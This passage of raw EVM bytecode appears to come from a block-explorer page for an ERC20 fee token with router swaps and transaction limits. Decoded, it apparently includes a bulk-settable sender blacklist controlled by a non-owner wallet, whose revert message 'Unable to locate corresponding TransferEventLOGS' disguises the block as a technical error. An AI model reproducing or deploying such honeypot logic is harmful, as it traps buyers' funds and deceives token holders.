b925050602061294f85828601612904565b9150509250929050565b60008115159050919050565b61296e81612959565b82525050565b60006020820190506129896000830184612965565b92915050565b6000819050919050565b60006129b46129af6129aa84612885565b61298f565b612885565b9050919050565b60006129c682612999565b9050919050565b60006129d8826129bb565b9050919050565b6129e8816129cd565b82525050565b6000602082019050612a0360008301846129df565b92915050565b612a12816128e3565b82525050565b6000602082019050612a2d6000830184612a09565b92915050565b600080600060608486031215612a4c57612a4b61287b565b5b6000612a5a868287016128ce565b9350506020612a6b868287016128ce565b9250506040612a7c86828701612904565b9150509250925092565b612a8f816128a5565b82525050565b6000602082019050612aaa6000830184612a86565b92915050565b600060ff82169050919050565b612ac681612ab0565b82525050565b6000602082019050612ae16000830184612abd565b92915050565b6000612af282612885565b9050919050565b612b0281612ae7565b82525050565b6000602082019050612b1d6000830184612af9565b92915050565b600060208284031215612b3957612b3861287b565b5b6000612b47848285016128ce565b91505092915050565b612b5981612959565b8114612b6457600080fd5b50565b600081359050612b7681612b50565b92915050565b600060208284031215612b9257612b9161287b565b5b6000612ba084828501612b67565b91505092915050565b60008060408385031215612bc057612bbf61287b565b5b6000612bce858286016128ce565b9250506020612bdf858286016128ce565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112612c0e57612c0d612be9565b5b8235905067ffffffffffffffff811115612c2b57612c2a612bee565b5b602083019150836020820283011115612c4757612c46612bf3565b5b9250929050565b600080600060408486031215612c6757612c6661287b565b5b6000612c7586828701612b67565b935050602084013567ffffffffffffffff811115612c9657612c95612880565b5b612ca286828701612bf8565b92509250509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612cf557607f821691505b602082108103612d0857612d07612cae565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d446020836127d4565b9150612d4f82612d0e565b602082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612de3826128e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e1557612e14612da9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612e7c6026836127d4565b9150612e8782612e20565b604082019050919050565b60006020820190508181036000830152612eab81612e6f565b9050919050565b6000612ebd826128e3565b9150612ec8836128e3565b9250828201905080821115612ee057612edf612da9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f1c601b836127d4565b9150612f2782612ee6565b602082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fae6024836127d4565b9150612fb982612f52565b604082019050919050565b60006020820190508181036000830152612fdd81612fa1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130406022836127d4565b915061304b82612fe4565b604082019050919050565b6000602082019050818103600083015261306f81613033565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130d26025836127d4565b91506130dd82613076565b604082019050919050565b60006020820190508181036000830152613101816130c5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131646023836127d4565b915061316f82613108565b604082019050919050565b6000602082019050818103600083015261319381613157565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131f66029836127d4565b91506132018261319a565b604082019050919050565b60006020820190508181036000830152613225816131e9565b9050919050565b7f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460008201527f72616e736665724576656e744c4f475300000000000000000000000000000000602082015250565b60006132886030836127d4565b91506132938261322c565b604082019050919050565b600060208201905081810360008301526132b78161327b565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b600061331a6028836127d4565b9150613325826132be565b604082019050919050565b600060208201905081810360008301526133498161330d565b9050919050565b600061335b826128e3565b9150613366836128e3565b925082820390508181111561337e5761337d612da9565b5b92915050565b600061338f826128e3565b915061339a836128e3565b92508282026133a8816128e3565b915082820484148315176133bf576133be612da9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613400826128e3565b915061340b836128e3565b92508261341b5761341a6133c6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134826021836127d4565b915061348d82613426565b604082019050919050565b600060208201905081810360008301526134b181613475565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506134f6816128b7565b92915050565b6000602082840312156135125761351161287b565b5b6000613520848285016134e7565b91505092915050565b6000819050919050565b600061354e61354961354484613529565b61298f565b6128e3565b9050919050565b61355e81613533565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613599816128a5565b82525050565b60006135ab8383613590565b60208301905092915050565b6000602082019050919050565b60006135cf82613564565b6135d9818561356f565b93506135e483613580565b8060005b838110156136155781516135fc888261359f565b9750613607836135b7565b9250506001810190506135e8565b5085935050505092915050565b600060a0820190506136376000830188612a09565b6136446020830187613555565b818103604083015261365681866135c4565b90506136656060830185612a86565b6136726080830184612a09565b9695505050505050565b60006040820190506136916000830185612a09565b81810360208301526136a381846135c4565b90509392505050565b600060c0820190506136c16000830189612a86565b6136ce6020830188612a09565b6136db6040830187613555565b6136e86060830186613555565b6136f56080830185612a86565b61370260a0830184612a09565b979650505050505050565b60008151905061371c816128ed565b92915050565b60008060006060848603121561373b5761373a61287b565b5b60006137498682870161370d565b935050602061375a8682870161370d565b925050604061376b8682870161370d565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220414b6ba1e837d11fc6830629a0290546727f207092cc8085cfd49cf5fb99388064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106102295760003560e01c80638b42507f11610123578063c8607952116100ab578063dc44b6a01161006f578063dc44b6a014610802578063dd62ed3e1461082d578063e9c7a7791461086a578063f2fde38b14610893578063f872858a146108bc57610230565b8063c860795214610719578063c867d60b14610744578063cab0347114610781578063cc1776d3146107ac578063da00097d146107d757610230565b8063a83f53a7116100f2578063a83f53a714610630578063a9059cbb1461065b578063c469b6dd14610698578063c5d24189146106c3578063c816841b146106ee57610230565b80638b42507f146105725780638da5cb5b146105af57806395d89b41146105da578063a08e671f1461060557610230565b80634f7041a5116101b1578063715018a611610175578063715018a6146104c557806371b60f2f146104dc578063751039fc1461050557806375f0a8741461051c57806388790a681461054757610230565b80634f7041a5146103dc57806357a5802f14610407578063599270441461043257806361a23c691461045d57806370a082311461048857610230565b806323b872dd116101f857806323b872dd146102f357806327c8f835146103305780632b112e491461035b578063313ce567146103865780634a74bb02146103b157610230565b806306fdde0314610235578063095ea7b3146102605780631694505e1461029d57806318160ddd146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108e7565b6040516102579190612859565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612919565b610979565b6040516102949190612974565b60405180910390f35b3480156102a957600080fd5b506102b2610997565b6040516102bf91906129ee565b60405180910390f35b3480156102d457600080fd5b506102dd6109bd565b6040516102ea9190612a18565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612a33565b6109c7565b6040516103279190612974565b60405180910390f35b34801561033c57600080fd5b50610345610aa1565b6040516103529190612a95565b60405180910390f35b34801561036757600080fd5b50610370610ac5565b60405161037d9190612a18565b60405180910390f35b34801561039257600080fd5b5061039b610b09565b6040516103a89190612acc565b60405180910390f35b3480156103bd57600080fd5b506103c6610b20565b6040516103d39190612974565b60405180910390f35b3480156103e857600080fd5b506103f1610b33565b6040516103fe9190612a18565b60405180910390f35b34801561041357600080fd5b5061041c610b39565b6040516104299190612a18565b60405180910390f35b34801561043e57600080fd5b50610447610b3f565b6040516104549190612b08565b60405180910390f35b34801561046957600080fd5b50610472610b65565b60405161047f9190612a18565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190612b23565b610b6b565b6040516104bc9190612a18565b60405180910390f35b3480156104d157600080fd5b506104da610bb4565b005b3480156104e857600080fd5b5061050360048036038101906104fe9190612b7c565b610d07565b005b34801561051157600080fd5b5061051a610d72565b005b34801561052857600080fd5b50610531610ddc565b60405161053e9190612b08565b60405180910390f35b34801561055357600080fd5b5061055c610e02565b6040516105699190612a18565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190612b23565b610e08565b6040516105a69190612974565b60405180910390f35b3480156105bb57600080fd5b506105c4610e28565b6040516105d19190612a95565b60405180910390f35b3480156105e657600080fd5b506105ef610e51565b6040516105fc9190612859565b60405180910390f35b34801561061157600080fd5b5061061a610ee3565b6040516106279190612a18565b60405180910390f35b34801561063c57600080fd5b50610645610ee9565b6040516106529190612a18565b60405180910390f35b34801561066757600080fd5b50610682600480360381019061067d9190612919565b610eef565b60405161068f9190612974565b60405180910390f35b3480156106a457600080fd5b506106ad610f0e565b6040516106ba9190612a18565b60405180910390f35b3480156106cf57600080fd5b506106d8610f14565b6040516106e59190612a18565b60405180910390f35b3480156106fa57600080fd5b50610703610f1a565b6040516107109190612a95565b60405180910390f35b34801561072557600080fd5b5061072e610f40565b60405161073b9190612a18565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190612b23565b610f46565b6040516107789190612974565b60405180910390f35b34801561078d57600080fd5b50610796610f66565b6040516107a39190612a18565b60405180910390f35b3480156107b857600080fd5b506107c1610f6c565b6040516107ce9190612a18565b60405180910390f35b3480156107e357600080fd5b506107ec610f72565b6040516107f99190612974565b60405180910390f35b34801561080e57600080fd5b50610817610f85565b6040516108249190612a18565b60405180910390f35b34801561083957600080fd5b50610854600480360381019061084f9190612ba9565b610f8b565b6040516108619190612a18565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c9190612c4e565b611012565b005b34801561089f57600080fd5b506108ba60048036038101906108b59190612b23565b6110c1565b005b3480156108c857600080fd5b506108d1611282565b6040516108de9190612974565b60405180910390f35b6060600180546108f690612cdd565b80601f016020809104026020016040519081016040528092919081815260200182805461092290612cdd565b801561096f5780601f106109445761010080835404028352916020019161096f565b820191906000526020600020905b81548152906001019060200180831161095257829003601f168201915b5050505050905090565b600061098d6109866112f3565b84846112fb565b6001905092915050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601854905090565b60006109d48484846114c4565b50610a96846109e16112f3565b610a918560405180606001604052806028815260200161377660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a476112f3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb9092919063ffffffff16565b6112fb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610b04610af37f000000000000000000000000000000000000000000000000000000000000dead610b6b565b601854611b2f90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b601d60159054906101000a900460ff1681565b60165481565b60125481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbc6112f3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4090612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b8015610d6f57610d156112f3565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6e57600080fd5b5b50565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dc857600080fd5b601854601981905550601854601a81905550565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e6090612cdd565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8c90612cdd565b8015610ed95780601f10610eae57610100808354040283529160200191610ed9565b820191906000526020600020905b815481529060010190602001808311610ebc57829003601f168201915b5050505050905090565b60155481565b60145481565b6000610f03610efc6112f3565b84846114c4565b506001905092915050565b600e5481565b600d5481565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60086020528060005260406000206000915054906101000a900460ff1681565b60115481565b60175481565b601d60169054906101000a900460ff1681565b600c5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101c6001610d07565b60005b828290508110156110bb57836009600085858581811061104257611041612d7a565b5b90506020020160208101906110579190612b23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110b390612dd8565b91505061101f565b50505050565b6110c96112f3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90612e92565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d60179054906101000a900460ff1681565b60008082846112a49190612eb2565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090612f32565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136190612fc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090613056565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b79190612a18565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b906130e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061317a565b60405180910390fd5b600082116115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dd9061320c565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166a9061329e565b60405180910390fd5b601d60149054906101000a900460ff161561169a57611693848484611b79565b9050611ac4565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173e5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561178957601954821115611788576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177f90613330565b60405180910390fd5b5b600061179430610b6b565b90506000601b5482101590508080156117ba5750601d60149054906101000a900460ff16155b80156118105750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118285750601d60159054906101000a900460ff165b1561185257601d60169054906101000a900460ff161561184857601b5491505b61185182611d4c565b5b6118db846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061192b878787611f3d565b9050601d60179054906101000a900460ff1680156119935750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119c257601a546119b6826119a889610b6b565b61129590919063ffffffff16565b11156119c157600080fd5b5b611a1481600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ab49190612a18565b60405180910390a3600193505050505b9392505050565b6000838311158290611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a9190612859565b60405180910390fd5b5060008385611b229190613350565b9050809150509392505050565b6000611b7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611acb565b905092915050565b6000611c04826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9982600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d399190612a18565b60405180910390a3600190509392505050565b6001601d60146101000a81548160ff0219169083151502179055506000611da56002611d97601554611d89601254876122a090919063ffffffff16565b61231a90919063ffffffff16565b61231a90919063ffffffff16565b90506000611dbc8284611b2f90919063ffffffff16565b9050611dc781612364565b60004790506000611df8611de7600260125461231a90919063ffffffff16565b601554611b2f90919063ffffffff16565b90506000611e366002611e2884611e1a601254886122a090919063ffffffff16565b61231a90919063ffffffff16565b61231a90919063ffffffff16565b90506000611e6183611e53601454876122a090919063ffffffff16565b61231a90919063ffffffff16565b90506000611e8a82611e7c8588611b2f90919063ffffffff16565b611b2f90919063ffffffff16565b90506000811115611ec257611ec1600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826125e0565b5b6000821115611ef857611ef7600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836125e0565b5b600083118015611f085750600087115b15611f1857611f17878461262b565b5b505050505050506000601d60146101000a81548160ff02191690831515021790555050565b600080829050600080611f5983866122a090919063ffffffff16565b9050600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fcb57611fb686612710565b15611fc657809350505050612299565b61217c565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061206c5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561207c57829350505050612299565b600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120fd576120f660646120e8601654886122a090919063ffffffff16565b61231a90919063ffffffff16565b915061217b565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561217a576121776064612169601754886122a090919063ffffffff16565b61231a90919063ffffffff16565b91505b5b5b6000821115612280576121d782600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122779190612a18565b60405180910390a35b6122938286611b2f90919063ffffffff16565b93505050505b9392505050565b60008083036122b25760009050612314565b600082846122c09190613384565b90508284826122cf91906133f5565b1461230f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230690613498565b60405180910390fd5b809150505b92915050565b600061235c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612766565b905092915050565b6000600267ffffffffffffffff811115612381576123806134b8565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c6612d7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561246e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249291906134fc565b816001815181106124a6576124a5612d7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250d30601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fb565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612571959493929190613622565b600060405180830381600087803b15801561258b57600080fd5b505af115801561259f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516125d492919061367c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612626573d6000803e3d6000fd5b505050565b61265830601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fb565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806126a4610e28565b426040518863ffffffff1660e01b81526004016126c6969594939291906136ac565b60606040518083038185885af11580156126e4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127099190613722565b5050505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080831182906127ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a49190612859565b60405180910390fd5b50600083856127bc91906133f5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128035780820151818401526020810190506127e8565b60008484015250505050565b6000601f19601f8301169050919050565b600061282b826127c9565b61283581856127d4565b93506128458185602086016127e5565b61284e8161280f565b840191505092915050565b600060208201905081810360008301526128738184612820565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128b082612885565b9050919050565b6128c0816128a5565b81146128cb57600080fd5b50565b6000813590506128dd816128b7565b92915050565b6000819050919050565b6128f6816128e3565b811461290157600080fd5b50565b600081359050612913816128ed565b92915050565b600080604083850312156129305761292f61287b565b5b600061293e858286016128ce565b925050602061294f85828601612904565b9150509250929050565b60008115159050919050565b61296e81612959565b82525050565b60006020820190506129896000830184612965565b92915050565b6000819050919050565b60006129b46129af6129aa84612885565b61298f565b612885565b9050919050565b60006129c682612999565b9050919050565b60006129d8826129bb565b9050919050565b6129e8816129cd565b82525050565b6000602082019050612a0360008301846129df565b92915050565b612a12816128e3565b82525050565b6000602082019050612a2d6000830184612a09565b92915050565b600080600060608486031215612a4c57612a4b61287b565b5b6000612a5a868287016128ce565b9350506020612a6b868287016128ce565b9250506040612a7c86828701612904565b9150509250925092565b612a8f816128a5565b82525050565b6000602082019050612aaa6000830184612a86565b92915050565b600060ff82169050919050565b612ac681612ab0565b82525050565b6000602082019050612ae16000830184612abd565b92915050565b6000612af282612885565b9050919050565b612b0281612ae7565b82525050565b6000602082019050612b1d6000830184612af9565b92915050565b600060208284031215612b3957612b3861287b565b5b6000612b47848285016128ce565b91505092915050565b612b5981612959565b8114612b6457600080fd5b50565b600081359050612b7681612b50565b92915050565b600060208284031215612b9257612b9161287b565b5b6000612ba084828501612b67565b91505092915050565b60008060408385031215612bc057612bbf61287b565b5b6000612bce858286016128ce565b9250506020612bdf858286016128ce565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112612c0e57612c0d612be9565b5b8235905067ffffffffffffffff811115612c2b57612c2a612bee565b5b602083019150836020820283011115612c4757612c46612bf3565b5b9250929050565b600080600060408486031215612c6757612c6661287b565b5b6000612c7586828701612b67565b935050602084013567ffffffffffffffff811115612c9657612c95612880565b5b612ca286828701612bf8565b92509250509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612cf557607f821691505b602082108103612d0857612d07612cae565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d446020836127d4565b9150612d4f82612d0e565b602082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612de3826128e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e1557612e14612da9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612e7c6026836127d4565b9150612e8782612e20565b604082019050919050565b60006020820190508181036000830152612eab81612e6f565b9050919050565b6000612ebd826128e3565b9150612ec8836128e3565b9250828201905080821115612ee057612edf612da9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f1c601b836127d4565b9150612f2782612ee6565b602082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fae6024836127d4565b9150612fb982612f52565b604082019050919050565b60006020820190508181036000830152612fdd81612fa1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130406022836127d4565b915061304b82612fe4565b604082019050919050565b6000602082019050818103600083015261306f81613033565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130d26025836127d4565b91506130dd82613076565b604082019050919050565b60006020820190508181036000830152613101816130c5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131646023836127d4565b915061316f82613108565b604082019050919050565b6000602082019050818103600083015261319381613157565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131f66029836127d4565b91506132018261319a565b604082019050919050565b60006020820190508181036000830152613225816131e9565b9050919050565b7f556e61626c6520746f206c6f6361746520636f72726573706f6e64696e67205460008201527f72616e736665724576656e744c4f475300000000000000000000000000000000602082015250565b60006132886030836127d4565b91506132938261322c565b604082019050919050565b600060208201905081810360008301526132b78161327b565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e00000000000000000000000000000000000000000000000060208201